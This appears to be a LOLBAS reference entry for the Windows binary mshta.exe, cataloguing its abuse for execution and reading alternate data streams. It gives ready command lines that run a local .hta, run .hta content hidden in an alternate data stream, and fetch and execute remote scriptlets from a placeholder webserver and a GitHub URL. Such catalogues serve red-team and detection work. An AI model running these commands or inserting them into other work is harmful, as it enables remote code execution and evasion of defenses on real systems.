LOLBAS/OSBinaries/mshta.exe.md

1.2 KiB

mshta.exe

  • Functions: Execute, Read ADS

mshta.exe evilfile.hta
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
Executes VBScript supplied as a command line argument.

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
Executes JavaScript supplied as a command line argument.

mshta.exe "C:\ads\file.txt:file.hta"
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.